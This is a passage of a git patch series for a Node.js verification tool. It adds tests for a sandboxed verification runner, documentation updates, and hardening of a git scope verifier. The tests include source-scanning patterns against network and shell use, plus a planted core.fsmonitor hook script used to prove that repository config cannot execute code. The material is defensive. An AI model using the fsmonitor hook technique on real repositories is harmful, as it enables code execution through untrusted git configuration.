assert.equal(mutated.code, 'candidate_mutated'); + + const mismatch = await errorOf(() => executeConstrainedVerificationV1({ + ...request, + candidate: { + repository: request.candidate.repository, + expected_head_sha: 'dddddddddddddddddddddddddddddddddddddddd', + }, + }, { adapter: recordingAdapter({ child: { code: 0 } }).adapter })); + assert.equal(mismatch.code, 'candidate_identity_mismatch'); + }); +}); + +test('cleanup refuses broad or swapped paths and still removes the exact workspace', async () => { + await withHarness(async ({ request, candidate, root }) => { + const forbidden = []; + const { adapter, calls } = recordingAdapter({ + child: { code: 0 }, + rmdirExact: async (record) => { + if (record.path === '/' || record.path === root || record.path === candidate + || record.path === tmpdir()) { + forbidden.push(record.path); + throw new Error('refused broad delete'); + } + await rm(record.path, { recursive: true, force: false }); + }, + }); + const receipt = await executeConstrainedVerificationV1(request, { adapter }); + assert.equal(receipt.cleanup.status, 'removed'); + assert.equal(calls.rmdir.length, 1); + assert.equal(calls.rmdir[0].startsWith(path.resolve(tmpdir())), true); + assert.equal(calls.rmdir[0].includes('codex-co-engineer-p16c-'), true); + assert.equal(forbidden.length, 0); + assert.notEqual(calls.rmdir[0], candidate); + assert.notEqual(calls.rmdir[0], '/'); + }); +}); + +test('default host adapter executes /usr/bin/true under network-deny confinement', async () => { + await withHarness(async ({ request }) => { + const receipt = await executeConstrainedVerificationV1(request); + assert.equal(receipt.outcome.result, 'pass'); + assert.equal(receipt.outcome.exit_code, 0); + assert.equal(receipt.cleanup.status, 'removed'); + assert.equal(receipt.candidate_audit.unchanged, true); + }); +}); + +test('the module never shells, looks up PATH, or integrates server/supervisor surfaces', async () => { + const source = await readFile( + new URL('../mcp/v3/constrained-verification-runner.mjs', import.meta.url), + 'utf8', + ); + assert.match(source, /never consults PATH/u); + assert.match(source, /never uses a shell/u); + assert.match(source, /shell: false/u); + assert.doesNotMatch(source, /from '\.\/server\.mjs'/u); + assert.doesNotMatch(source, /from '\.\/supervisor\.mjs'/u); + assert.doesNotMatch(source, /from '\.\/process-boundary\.mjs'/u); + assert.doesNotMatch(source, /from 'node:net'/u); + assert.doesNotMatch(source, /from 'node:http'/u); + assert.doesNotMatch(source, /from 'node:dns'/u); + assert.equal(source.includes('fetch('), false); + assert.equal(source.includes('execSync('), false); + assert.equal(source.includes("shell: true"), false); + assert.doesNotMatch(source, /\bgit merge\b/u); + assert.doesNotMatch(source, /\bgit rebase\b/u); + assert.doesNotMatch(source, /\bgit push\b/u); + assert.doesNotMatch(source, /create_pr/u); +}); + +test('symlinks and special files on the executable or candidate fail closed', async () => { + const root = await makeTempRoot(); + try { + const candidate = path.join(root, 'candidate'); + const head = await initCandidateRepo(candidate); + const link = path.join(root, 'linked-true'); + await symlink(TRUE_EXECUTABLE, link); + const request = genuineRequest({ + policy: policyForExecutable(link), + executable: link, + candidate: { repository: candidate, expected_head_sha: head }, + }); + const error = await errorOf(() => executeConstrainedVerificationV1(request, { + adapter: recordingAdapter({ child: { code: 0 } }).adapter, + })); + assert.equal(error.code, 'symlink_denied'); + + const fifoCandidate = path.join(root, 'fifo-cand'); + await writeFile(fifoCandidate, 'not-a-repo\n'); + const fileRequest = genuineRequest({ + policy: policyForExecutable(TRUE_EXECUTABLE), + executable: TRUE_EXECUTABLE, + candidate: { repository: fifoCandidate }, + }); + const notDir = await errorOf(() => executeConstrainedVerificationV1(fileRequest, { + adapter: recordingAdapter({ child: { code: 0 } }).adapter, + })); + assert.equal(notDir.code, 'candidate_not_regular'); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('the approved command is spawned exactly once per invocation', async () => { + await withHarness(async ({ request }) => { + const { adapter, calls } = recordingAdapter({ child: { code: 0 } }); + await executeConstrainedVerificationV1(request, { adapter }); + assert.equal(calls.spawn.length, 1); + assert.equal(calls.spawn[0].file, TRUE_EXECUTABLE); + }); +}); From f3ca4460626bb78ad590669ae88cd33b20735580 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 09:33:10 +0000 Subject: [PATCH 64/81] docs(changelog): record the P16C constrained verification runner Note the additive runner surface and keep future-work clear that the run runtime, candidate composition, and AttentionBatchV1 remain later work. The runner is not wired into the MCP server, supervisor, or scheduler. --- CHANGELOG.md | 22 ++++++++++++++++++++++ SECURITY.md | 3 +++ docs/configuration.md | 6 +++++- docs/future-work.md | 11 ++++++----- docs/threat-model.md | 6 +++++- 5 files changed, 41 insertions(+), 7 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index e90581a..5d06448 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,28 @@ ### Added +- **Constrained verification runner.** Adds additive + `constrained-verification-runner.mjs` for W16-P16C. The module consumes a + genuine immutable P16B ExecutionIntent receipt plus trusted P16A + `VerificationPolicyV1`, creates a disposable verification workspace + disjoint from the candidate, and executes the exact owner-approved + absolute executable and argv once with `shell=false` and no PATH lookup. + The child environment is empty by default and receives only + policy-authorized bounded entries. The runner enforces timeout, + signal/termination fail-closed rules, stdout/stderr byte caps, + host-available process isolation (Linux user/pid/net namespace via + `unshare` on the default adapter), network deny/default (allowlists are + unsupported), and one execution only. Candidate Git identity and + filesystem are audited before and after; persistent + candidate/ref/config/worktree mutation fails closed. Temporary cleanup + deletes only the exact workspace this invocation created. Outcome + evidence is bounded, sanitized, and P13-compatible: host-observed exit + status is never upgraded from provider-reported PASS. The module is not + wired into the MCP server, supervisor, scheduler, or process-boundary + worker launcher, and it does not merge, rebase, push, open a pull + request, or mutate a protected ref. Coverage lives in + `test/r1-constrained-verification-runner.test.mjs` and + `test/r1-constrained-verification-runner-adversarial.test.mjs`. - **Approved verification-command resolver.** Adds additive `approved-verification-command.mjs` for W15-P16B. The module consumes an immutable trusted `VerificationPolicyV1` from P16A plus a closed diff --git a/SECURITY.md b/SECURITY.md index 0e8e9ed..4ad931c 100644 --- a/SECURITY.md +++ b/SECURITY.md @@ -40,6 +40,9 @@ and local; sanitized bounded evidence is the model-facing projection. Profiles are data-only. `VerificationPolicyV1` is the only executable command catalog for verification lanes; provider-reported or requested commands are evidence/attention and are never automatically executed. +The constrained verification runner executes only a genuine owner-approved +ExecutionIntent in a disposable workspace and does not treat +provider-reported PASS as a fact. Manual run cleanup is proof-bound; there is no automatic garbage collection. diff --git a/docs/configuration.md b/docs/configuration.md index 2cb5bc8..f10e52a 100644 --- a/docs/configuration.md +++ b/docs/configuration.md @@ -6,7 +6,11 @@ described in [Profiles](#profiles); verification commands never come from profiles and remain a separate owner-maintained `VerificationPolicyV1`. The approved-command resolver consumes that owner policy plus a closed Codex/owner `command_id` selection and returns a frozen ExecutionIntent -receipt; it does not execute the command. +receipt; it does not execute the command. The constrained verification +runner consumes only a genuine P16B receipt plus that trusted policy, +runs the exact owner-approved executable and argv once in a disposable +workspace separate from the candidate, and records bounded sanitized +host-observed evidence. It is not wired into the MCP server. Provider authentication is normal persistent login/session state or an owner-only key file. The setup command installs the pinned local composition and creates the default DSH configuration; it never performs login on the diff --git a/docs/future-work.md b/docs/future-work.md index 47eec4f..c4deaa0 100644 --- a/docs/future-work.md +++ b/docs/future-work.md @@ -6,7 +6,7 @@ Status: specified, not implemented. Priority: high Component: Codex-Co-Engineer -Last updated: 2026-08-21 +Last updated: 2026-08-23 The accepted architecture for R1 is [ADR 0001](adr/0001-r1-bounded-run-architecture.md). It defines a 3.3.0 run @@ -17,10 +17,11 @@ fallback or replay, and Codex-only final acceptance. This worktree does not implement the run runtime, candidate composition, or `AttentionBatchV1`. The P16A VerificationPolicyV1 schema and owner -loader plus the P16B approved-command resolver exist as data validation -and resolution only; P16C trusted-policy command execution remains later -work. Gate A remains the functional release authority; Gate B -context-efficiency and Gate C credit economics stay advisory. +loader, the P16B approved-command resolver, and the P16C constrained +verification runner exist as additive v3 modules. The runner is not wired +into the MCP server, supervisor, or scheduler. Gate A remains the +functional release authority; Gate B context-efficiency and Gate C credit +economics stay advisory. ## Durable, low-token agent completion waits diff --git a/docs/threat-model.md b/docs/threat-model.md index 5498a2e..f31e906 100644 --- a/docs/threat-model.md +++ b/docs/threat-model.md @@ -104,7 +104,11 @@ executable command catalog those lanes may run. Codex may select only approved command IDs and permitted parameters; manifests carry those IDs and parameters, never arbitrary executable argv. The approved-command resolver binds a closed Codex/owner selection to a frozen ExecutionIntent -receipt without executing. Provider-reported or provider-requested +receipt without executing. The constrained verification runner consumes +only a genuine immutable receipt plus trusted policy, executes that exact +command once in a disposable workspace, and fails closed on candidate +mutation, escaped descendants, output floods, timeouts, and cleanup +uncertainty. Provider-reported or provider-requested commands are evidence or attention only and are never automatically executed. A verifier may not: From 2c886cf9a7c0631e590ceafe66e25d45a9567651 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 09:54:47 +0000 Subject: [PATCH 65/81] fix(verify): close ignored, index, merge-head, copy, lstat, and fsmonitor holes Enumerate ignored worktree paths, fail closed on assume-unchanged and skip-worktree, observe chmod despite core.fileMode=false, inspect HEAD parents when base_sha equals head_sha, detect unchanged-source copies, lstat-prove untracked paths, and disable fsmonitor on every Git spawn. --- .../mcp/v3/scope-verifier.mjs | 206 ++++++++++++++++-- .../fixtures/r1-scope-verifier-fixtures.mjs | 63 +++++- .../r1-scope-verifier-adversarial.test.mjs | 99 ++++++++- .../test/r1-scope-verifier.test.mjs | 3 +- 4 files changed, 346 insertions(+), 25 deletions(-) diff --git a/plugins/codex-co-engineer/mcp/v3/scope-verifier.mjs b/plugins/codex-co-engineer/mcp/v3/scope-verifier.mjs index 011d682..1e394d7 100644 --- a/plugins/codex-co-engineer/mcp/v3/scope-verifier.mjs +++ b/plugins/codex-co-engineer/mcp/v3/scope-verifier.mjs @@ -15,12 +15,18 @@ // // Observation is fail-closed: spawn is argv-only, the child environment is // the P14 closed map (system/global/caller config and protocols disabled), +// closed -c overrides disable fsmonitor/fileMode hiding on every spawn, // output/time/command counts are bounded, typed errors never echo hostile -// bytes, and a pre/post fingerprint mismatch is an observation race. +// bytes, and a pre/post fingerprint mismatch is an observation race. Ignored +// worktree paths, assume-unchanged/skip-worktree flags, HEAD parents +// (including base_sha===head_sha), unchanged-source copies, and untracked +// lstat proofs are observed through Git-native or lstat evidence. import { Buffer as NodeBuffer } from 'node:buffer'; import { spawn as nodeSpawn } from 'node:child_process'; import { createHash } from 'node:crypto'; +import { lstat as nodeLstat } from 'node:fs/promises'; +import path from 'node:path'; import { types as utilTypes } from 'node:util'; import { @@ -123,6 +129,14 @@ const SCOPE_GIT_ISOLATION_FLAGS = capturedFreeze([ '-c', 'log.showSignature=false', ]); +const SCOPE_GIT_RUNTIME_OVERRIDES = capturedFreeze([ + '-c', 'core.fsmonitor=', + '-c', 'core.useBuiltinFSMonitor=false', + '-c', 'core.untrackedCache=false', + '-c', 'core.fileMode=true', + '-c', 'diff.external=', +]); + const FORBIDDEN_ENV_KEYS = capturedFreeze([ 'GIT_DIR', 'GIT_WORK_TREE', 'GIT_OBJECT_DIRECTORY', 'GIT_ALTERNATE_OBJECT_DIRECTORIES', 'GIT_INDEX_FILE', 'GIT_COMMON_DIR', @@ -162,6 +176,10 @@ const HASH_PROTOTYPE = Object.getPrototypeOf(CRYPTO_CREATE_HASH('sha256')); const HASH_UPDATE = HASH_PROTOTYPE.update; const HASH_DIGEST = HASH_PROTOTYPE.digest; const SPAWN = nodeSpawn; +const LSTAT = nodeLstat; +const PATH_JOIN = path.join; +const PATH_RESOLVE = path.resolve; +const PATH_IS_ABSOLUTE = path.isAbsolute; const REFLECT_APPLY = Reflect.apply; const STRING_FROM_CODE_POINT = String.fromCodePoint; const IS_PROXY = utilTypes.isProxy; @@ -539,6 +557,22 @@ function parseOptions(options, path = 'options') { return freezeRecord(SCOPE_OPTIONS_ALLOWED_KEYS, { spawn }); } +function prependClosedGitOverrides(args) { + if (!ARRAY_IS_ARRAY(args)) return args; + const isolated = []; + for (let index = 0; index < SCOPE_GIT_RUNTIME_OVERRIDES.length; index += 1) { + REFLECT_APPLY(ARRAY_PUSH, isolated, [SCOPE_GIT_RUNTIME_OVERRIDES[index]]); + } + for (let index = 0; index < args.length; index += 1) { + REFLECT_APPLY(ARRAY_PUSH, isolated, [args[index]]); + } + return isolated; +} + +function wrapIsolatedSpawn(spawnFn) { + return (command, args, options) => spawnFn(command, prependClosedGitOverrides(args), options); +} + function splitNul(text) { if (typeof text !== 'string') return []; if (text.length === 0) return []; @@ -708,6 +742,106 @@ function parseLsFilesOthers(stdout, path, paths, seen) { } } +function parseLsFilesVerbose(stdout, path) { + const parts = splitNul(stdout); + for (let index = 0; index < parts.length; index += 1) { + const entry = parts[index]; + if (typeof entry !== 'string' || entry.length < 3 || entry.charCodeAt(1) !== 0x20) { + fail('git_execution_failed', path, `${path} produced an unexpected git observation.`); + } + const tag = entry.charCodeAt(0); + if (tag > 0x7e || tag < 0x20) { + fail('hostile_name_denied', path, `${path} produced an unexpected git observation.`); + } + if (tag !== 0x48) { + fail('git_execution_failed', path, `${path} could not complete a git observation.`); + } + } +} + +function isSymlinkStat(metadata) { + return typeof metadata?.isSymbolicLink === 'function' && metadata.isSymbolicLink(); +} + +function isFileStat(metadata) { + return typeof metadata?.isFile === 'function' && metadata.isFile(); +} + +function isDirectoryStat(metadata) { + return typeof metadata?.isDirectory === 'function' && metadata.isDirectory(); +} + +function isInsideRepository(repositoryPath, target) { + const root = PATH_RESOLVE(repositoryPath); + const resolved = PATH_RESOLVE(target); + if (resolved === root) return true; + const prefix = root.endsWith('/') ? root : `${root}/`; + return resolved.startsWith(prefix); +} + +async function lstatProven(target, path) { + let first; + try { + first = await LSTAT(target); + } catch { + fail('observation_race', path, `${path} observed a git identity or worktree race.`); + } + let second; + try { + second = await LSTAT(target); + } catch { + fail('observation_race', path, `${path} observed a git identity or worktree race.`); + } + if (typeof first?.isSymbolicLink !== 'function' || typeof second?.isSymbolicLink !== 'function' + || typeof first.isFile !== 'function' || typeof second.isFile !== 'function' + || typeof first.isDirectory !== 'function' || typeof second.isDirectory !== 'function') { + fail('git_execution_failed', path, `${path} could not complete a git observation.`); + } + if (first.isSymbolicLink() !== second.isSymbolicLink() + || first.isFile() !== second.isFile() + || first.isDirectory() !== second.isDirectory() + || first.mode !== second.mode) { + fail('observation_race', path, `${path} observed a git identity or worktree race.`); + } + return first; +} + +async function proveUntrackedPaths(repositoryPath, paths, path) { + let symlink = false; + for (let index = 0; index < paths.length; index += 1) { + const relative = paths[index]; + const parts = relative.split('/'); + let current = PATH_RESOLVE(repositoryPath); + for (let partIndex = 0; partIndex < parts.length; partIndex += 1) { + const part = parts[partIndex]; + if (part.length === 0 || part === '.' || part === '..') { + fail('hostile_name_denied', path, `${path} is not a repository-relative path.`); + } + current = PATH_JOIN(current, part); + if (!PATH_IS_ABSOLUTE(current) || !isInsideRepository(repositoryPath, current)) { + fail('git_execution_failed', path, `${path} could not complete a git observation.`); + } + const metadata = await lstatProven(current, path); + const last = partIndex === parts.length - 1; + if (isSymlinkStat(metadata)) { + if (!last) { + fail('git_execution_failed', path, `${path} could not complete a git observation.`); + } + symlink = true; + continue; + } + if (last) { + if (!isFileStat(metadata) || isDirectoryStat(metadata)) { + fail('git_execution_failed', path, `${path} could not complete a git observation.`); + } + } else if (!isDirectoryStat(metadata) || isFileStat(metadata)) { + fail('git_execution_failed', path, `${path} could not complete a git observation.`); + } + } + } + return { symlink }; +} + function parseRevListParents(stdout, path, expectedHead, allowEmpty) { if (stdout.includes('\0') || stdout.includes('\r')) { fail('git_execution_failed', path, `${path} produced extra git output.`); @@ -743,7 +877,7 @@ function parseRevListParents(stdout, path, expectedHead, allowEmpty) { sawHead = true; parentCount = parents; } - if (parents !== 1) merge = true; + if (parents > 1) merge = true; } if (expectedHead !== undefined && !sawHead && lines.length > 0) { parentCount = lines[0].split(' ').length - 1; @@ -1044,32 +1178,53 @@ function classifyDiffRecords(records, path) { return { symlink, gitlink, type_change: typeChange }; } -async function observeScope(session, flags, baseSha, headSha, path) { +async function observeScope(session, flags, repositoryPath, baseSha, headSha, path) { const sameCommit = baseSha === headSha; const diffText = await gitRequired(session, [ ...flags, 'diff-tree', '--no-commit-id', '--raw', '--full-index', '-z', '-r', - '-M', '-C', '--end-of-options', baseSha, headSha, + '-M', '-C', '--find-copies-harder', '--end-of-options', baseSha, headSha, ], `${path}.diff`); const parsed = parseDiffTreeRaw(diffText, `${path}.diff`); const statusText = await gitRequired(session, [ ...flags, 'status', '--porcelain=v1', '-z', '--untracked-files=all', - '--ignore-submodules=none', + '--ignored', '--ignore-submodules=none', ], `${path}.status`); parseStatusPorcelain(statusText, `${path}.status`, parsed.paths, parsed.seen); const untrackedText = await gitRequired(session, [ ...flags, 'ls-files', '-z', '--others', '--exclude-standard', ], `${path}.untracked`); + const untrackedPaths = []; + const untrackedSeen = new Set(); parseLsFilesOthers(untrackedText, `${path}.untracked`, parsed.paths, parsed.seen); - let parent; - if (sameCommit) { - parent = { commits: [], parent_count: 1, merge: false, new_commit_count: 0 }; - } else { + parseLsFilesOthers(untrackedText, `${path}.untracked`, untrackedPaths, untrackedSeen); + const ignoredText = await gitRequired(session, [ + ...flags, 'ls-files', '-z', '--others', '--ignored', '--exclude-standard', + ], `${path}.ignored`); + parseLsFilesOthers(ignoredText, `${path}.ignored`, parsed.paths, parsed.seen); + parseLsFilesOthers(ignoredText, `${path}.ignored`, untrackedPaths, untrackedSeen); + const verboseText = await gitRequired(session, [ + ...flags, 'ls-files', '-v', '-z', + ], `${path}.index`); + parseLsFilesVerbose(verboseText, `${path}.index`); + const proof = await proveUntrackedPaths(repositoryPath, untrackedPaths, `${path}.untracked`); + const headParentText = await gitRequired(session, [ + ...flags, 'rev-list', '--parents', '--max-count=1', headSha, + ], `${path}.head_parents`); + const headParent = parseRevListParents( + headParentText, `${path}.head_parents`, headSha, false, + ); + let merge = headParent.merge === true || headParent.parent_count > 1; + let newCommitCount = 0; + let rangeCommits = []; + if (!sameCommit) { const rangeText = await gitRequired(session, [ ...flags, 'rev-list', '--parents', `--max-count=${MAX_NEW_COMMITS + 1}`, headSha, '--not', baseSha, ], `${path}.parents`); - parent = parseRevListParents(rangeText, `${path}.parents`, headSha, false); - parent.new_commit_count = parent.commits.length; + const range = parseRevListParents(rangeText, `${path}.parents`, headSha, false); + merge = merge || range.merge === true || range.parent_count > 1; + newCommitCount = range.commits.length; + rangeCommits = range.commits; } REFLECT_APPLY(ARRAY_SORT, parsed.paths, [(left, right) => { if (left === right) return 0; @@ -1080,7 +1235,10 @@ async function observeScope(session, flags, baseSha, headSha, path) { diff: digestBytes(diffText), status: digestBytes(statusText), untracked: digestBytes(untrackedText), - parents: parent.commits, + ignored: digestBytes(ignoredText), + index_flags: digestBytes(verboseText), + head_parents: headParent.commits, + parents: rangeCommits, path_set_digest: pathSetDigest, }); const operations = classifyDiffRecords(parsed.records, `${path}.diff`); @@ -1090,11 +1248,11 @@ async function observeScope(session, flags, baseSha, headSha, path) { path_set_digest: pathSetDigest, rename_count: parsed.rename_count, copy_count: parsed.copy_count, - parent_count: parent.parent_count, - new_commit_count: parent.new_commit_count, - merge: parent.merge === true || (!sameCommit && parent.parent_count !== 1), - dirty: statusText.length > 0 || untrackedText.length > 0, - symlink: operations.symlink, + parent_count: headParent.parent_count, + new_commit_count: newCommitCount, + merge, + dirty: statusText.length > 0 || untrackedText.length > 0 || ignoredText.length > 0, + symlink: operations.symlink === true || proof.symlink === true, gitlink: operations.gitlink, type_change: operations.type_change, fingerprint, @@ -1148,20 +1306,24 @@ function emitDiscrepancy(id, kind, code, request, factIds, sequence) { export async function verifyScopeV1(input, options) { const request = parseScopeVerifierRequestV1(input); const parsedOptions = parseOptions(options); + const isolatedSpawn = wrapIsolatedSpawn(parsedOptions.spawn); + const isolatedOptions = freezeRecord(SCOPE_OPTIONS_ALLOWED_KEYS, { spawn: isolatedSpawn }); const pathLabel = 'scope'; - const livePre = await verifyGitIdentityV1(request.identity_request, parsedOptions); + const livePre = await verifyGitIdentityV1(request.identity_request, isolatedOptions); assertLiveIdentity(request.identity, livePre, `${pathLabel}.identity`); - const session = createSession(parsedOptions.spawn); + const session = createSession(isolatedSpawn); const repositoryPath = livePre.observation.repository_path; const gitDir = livePre.observation.git_dir; const flags = repoFlags(repositoryPath, gitDir); const pre = await observeScope( - session, flags, livePre.observation.base_sha, livePre.observation.head_sha, pathLabel, + session, flags, repositoryPath, livePre.observation.base_sha, livePre.observation.head_sha, + pathLabel, ); - const livePost = await verifyGitIdentityV1(request.identity_request, parsedOptions); + const livePost = await verifyGitIdentityV1(request.identity_request, isolatedOptions); assertLiveIdentity(request.identity, livePost, `${pathLabel}.identity`); const post = await observeScope( - session, flags, livePost.observation.base_sha, livePost.observation.head_sha, pathLabel, + session, flags, repositoryPath, livePost.observation.base_sha, livePost.observation.head_sha, + pathLabel, ); if (pre.fingerprint !== post.fingerprint || identityFingerprint(livePre) !== identityFingerprint(livePost)) { diff --git a/plugins/codex-co-engineer/test/fixtures/r1-scope-verifier-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-scope-verifier-fixtures.mjs index 8ebeca1..c92a21e 100644 --- a/plugins/codex-co-engineer/test/fixtures/r1-scope-verifier-fixtures.mjs +++ b/plugins/codex-co-engineer/test/fixtures/r1-scope-verifier-fixtures.mjs @@ -4,7 +4,7 @@ // stay parent-failing until the verifier module exists. import { spawn } from 'node:child_process'; -import { mkdir, mkdtemp, rm, symlink, writeFile } from 'node:fs/promises'; +import { chmod, mkdir, mkdtemp, rm, symlink, writeFile } from 'node:fs/promises'; import { tmpdir } from 'node:os'; import path from 'node:path'; @@ -229,6 +229,59 @@ export async function createCopyInScopeRepo() { return wrap(root, { baseSha, headSha, extra: { from: 'src/original.txt', to: 'src/copied.txt' } }); } +export async function createCopyEscapingRepo() { + const root = await emptyRepo('p15-copy-escape-'); + await writeAndAdd(root, 'src/keep.txt', 'keep\n'); + await writeAndAdd(root, 'docs/secret.txt', 'unique-copy-blob-docs-9876543210\n'); + const baseSha = await commit(root, 'base'); + await runFixtureGit(root, ['branch', '--', 'candidate']); + await runFixtureGit(root, ['checkout', 'candidate']); + await writeAndAdd(root, 'src/fromdocs.txt', 'unique-copy-blob-docs-9876543210\n'); + const headSha = await commit(root, 'copy-escape'); + await runFixtureGit(root, ['checkout', 'main']); + return wrap(root, { + baseSha, headSha, extra: { from: 'docs/secret.txt', to: 'src/fromdocs.txt' }, + }); +} + +export async function createIgnoredOutOfScopeRepo() { + const root = await emptyRepo('p15-ignored-'); + await writeAndAdd(root, 'src/keep.txt', 'keep\n'); + await writeAndAdd(root, 'docs/readme.txt', 'docs\n'); + await writeAndAdd(root, '.gitignore', 'scratch.ignored\n'); + const baseSha = await commit(root, 'base'); + await runFixtureGit(root, ['branch', '--', 'candidate']); + await runFixtureGit(root, ['checkout', 'candidate']); + await writeAndAdd(root, 'src/added.txt', 'added\n'); + const headSha = await commit(root, 'head'); + await runFixtureGit(root, ['checkout', 'main']); + await writeFile(path.join(root, 'docs', 'scratch.ignored'), 'ignored-out\n', 'utf8'); + return wrap(root, { baseSha, headSha, extra: { ignored: 'docs/scratch.ignored' } }); +} + +export async function createHiddenIndexFlagRepo() { + const repo = await createInScopeWriterRepo(); + await runFixtureGit(repo.path, ['update-index', '--assume-unchanged', '--', 'src/keep.txt']); + await runFixtureGit(repo.path, ['update-index', '--skip-worktree', '--', 'docs/readme.txt']); + repo.extra = { ...repo.extra, assume_unchanged: 'src/keep.txt', skip_worktree: 'docs/readme.txt' }; + return repo; +} + +export async function createFileModeHiddenChmodRepo() { + const repo = await createReadOnlyUnchangedRepo(); + await runFixtureGit(repo.path, ['config', 'core.fileMode', 'false']); + await chmod(path.join(repo.path, 'src', 'keep.txt'), 0o755); + repo.extra = { ...repo.extra, chmod: 'src/keep.txt' }; + return repo; +} + +export async function createUntrackedSymlinkRepo() { + const repo = await createInScopeWriterRepo(); + await symlink('keep.txt', path.join(repo.path, 'src', 'link-untracked.txt')); + repo.extra = { ...repo.extra, untracked: 'src/link-untracked.txt' }; + return repo; +} + export async function createDeletionInScopeRepo() { const root = await emptyRepo('p15-delete-'); await writeAndAdd(root, 'src/gone.txt', 'delete-me\n'); @@ -273,6 +326,14 @@ export async function createMergeCommitRepo() { return wrap(root, { baseSha, headSha, extra: {} }); } +export async function createMergeHeadEqualsBaseRepo() { + const merge = await createMergeCommitRepo(); + await runFixtureGit(merge.path, ['checkout', 'candidate']); + await runFixtureGit(merge.path, ['checkout', '-B', 'main', merge.headSha]); + merge.baseSha = merge.headSha; + return merge; +} + export async function createHistoricalMergeRepo() { const merge = await createMergeCommitRepo(); await runFixtureGit(merge.path, ['checkout', 'candidate']); diff --git a/plugins/codex-co-engineer/test/r1-scope-verifier-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-scope-verifier-adversarial.test.mjs index 57fd616..f5cecf5 100644 --- a/plugins/codex-co-engineer/test/r1-scope-verifier-adversarial.test.mjs +++ b/plugins/codex-co-engineer/test/r1-scope-verifier-adversarial.test.mjs @@ -1,6 +1,9 @@ import assert from 'node:assert/strict'; import { spawn as nodeSpawn } from 'node:child_process'; -import { writeFileSync } from 'node:fs'; +import { existsSync, writeFileSync } from 'node:fs'; +import { chmod, mkdtemp, rm, writeFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; import { types as utilTypes } from 'node:util'; import test from 'node:test'; @@ -23,17 +26,24 @@ import { READ_ONLY_ASSIGNMENT_ID, countingProxy, createConfusableSeparatorRepo, + createCopyEscapingRepo, + createFileModeHiddenChmodRepo, createGitlinkRepo, + createHiddenIndexFlagRepo, createHistoricalMergeRepo, + createIgnoredOutOfScopeRepo, createInScopeWriterRepo, createMergeCommitRepo, + createMergeHeadEqualsBaseRepo, createNonNfcRepo, createOutOfScopeWriterRepo, createRenameEscapingRepo, createSymlinkRepo, createTypeChangeRepo, + createUntrackedSymlinkRepo, createUntrackedOutOfScopeRepo, identityRequest, + runFixtureGit, scopeRequest, trapTotal, } from './fixtures/r1-scope-verifier-fixtures.mjs'; @@ -368,8 +378,95 @@ test('closed protocol and config env is forced on every P15 git spawn', async (t assert.equal(options.env.GIT_CONFIG_GLOBAL, '/dev/null'); assert.equal(options.env.GIT_CONFIG_SYSTEM, '/dev/null'); assert.equal(Object.hasOwn(options.env, 'GIT_CONFIG'), false); + assert.equal(args.includes('core.fsmonitor='), true); + assert.equal(args.includes('core.useBuiltinFSMonitor=false'), true); + assert.equal(args.includes('core.fileMode=true'), true); + const fsmonitorIndex = args.indexOf('core.fsmonitor='); + assert.equal(fsmonitorIndex > 0 && args[fsmonitorIndex - 1] === '-c', true); return nodeSpawn(command, args, options); }, }); assert.equal(result.status, 'verified'); }); + +test('ignored worktree changes are enumerated and denied outside write_scope', async (t) => { + const repo = await createIgnoredOutOfScopeRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const result = await verifyScopeV1(scopeRequest(repo, identity)); + assert.equal(result.status, 'failed'); + assert.equal(discrepancyIds(result).includes('scope-mismatch'), true); + assert.equal(JSON.stringify(result).includes('scratch.ignored'), false); +}); + +test('assume-unchanged and skip-worktree index flags fail closed', async (t) => { + const repo = await createHiddenIndexFlagRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const error = await errorOf(() => verifyScopeV1(scopeRequest(repo, identity))); + assert.equal(error.code, 'git_execution_failed'); + assertContentFree(error, 'keep.txt', 'readme.txt', 'assume-unchanged', 'skip-worktree'); +}); + +test('chmod is observed even when local core.fileMode is false', async (t) => { + const repo = await createFileModeHiddenChmodRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo, { assignment_id: READ_ONLY_ASSIGNMENT_ID }); + const result = await verifyScopeV1(scopeRequest(repo, identity, { + assignment_id: READ_ONLY_ASSIGNMENT_ID, + access: 'read_only', + write_scope: [], + })); + assert.equal(result.status, 'failed'); + assert.equal(discrepancyIds(result).includes('read-only-mutation'), true); + assert.equal(result.observation.dirty, true); +}); + +test('merge HEAD is rejected when base_sha equals head_sha', async (t) => { + const merge = await createMergeHeadEqualsBaseRepo(); + t.after(() => merge.cleanup()); + const identity = await identityOf(merge); + const result = await verifyScopeV1(scopeRequest(merge, identity)); + assert.equal(result.status, 'failed'); + assert.equal(discrepancyIds(result).includes('merge-commit'), true); + assert.equal(result.observation.parent_count > 1, true); + assert.equal(result.observation.base_sha, result.observation.head_sha); +}); + +test('unchanged-source copies keep source and destination ownership', async (t) => { + const repo = await createCopyEscapingRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const result = await verifyScopeV1(scopeRequest(repo, identity)); + assert.equal(result.status, 'failed'); + assert.equal(discrepancyIds(result).includes('scope-mismatch'), true); + assert.equal(result.observation.copy_count >= 1, true); + assert.equal(JSON.stringify(result).includes('secret.txt'), false); + assert.equal(JSON.stringify(result).includes('fromdocs.txt'), false); +}); + +test('untracked in-scope symlinks are rejected after lstat proof', async (t) => { + const repo = await createUntrackedSymlinkRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const result = await verifyScopeV1(scopeRequest(repo, identity)); + assert.equal(result.status, 'failed'); + assert.equal(discrepancyIds(result).includes('symlink-change'), true); + assert.equal(JSON.stringify(result).includes('link-untracked.txt'), false); +}); + +test('core.fsmonitor repository config cannot execute during observation', async (t) => { + const hookDir = await mkdtemp(path.join(tmpdir(), 'p15-fsm-hook-')); + t.after(() => rm(hookDir, { recursive: true, force: true })); + const hookPath = path.join(hookDir, 'fsm.sh'); + const markerPath = path.join(hookDir, 'ran'); + await writeFile(hookPath, `#!/bin/sh\necho ran >> "${markerPath}"\nexit 0\n`); + await chmod(hookPath, 0o755); + const repo = await createInScopeWriterRepo(); + t.after(() 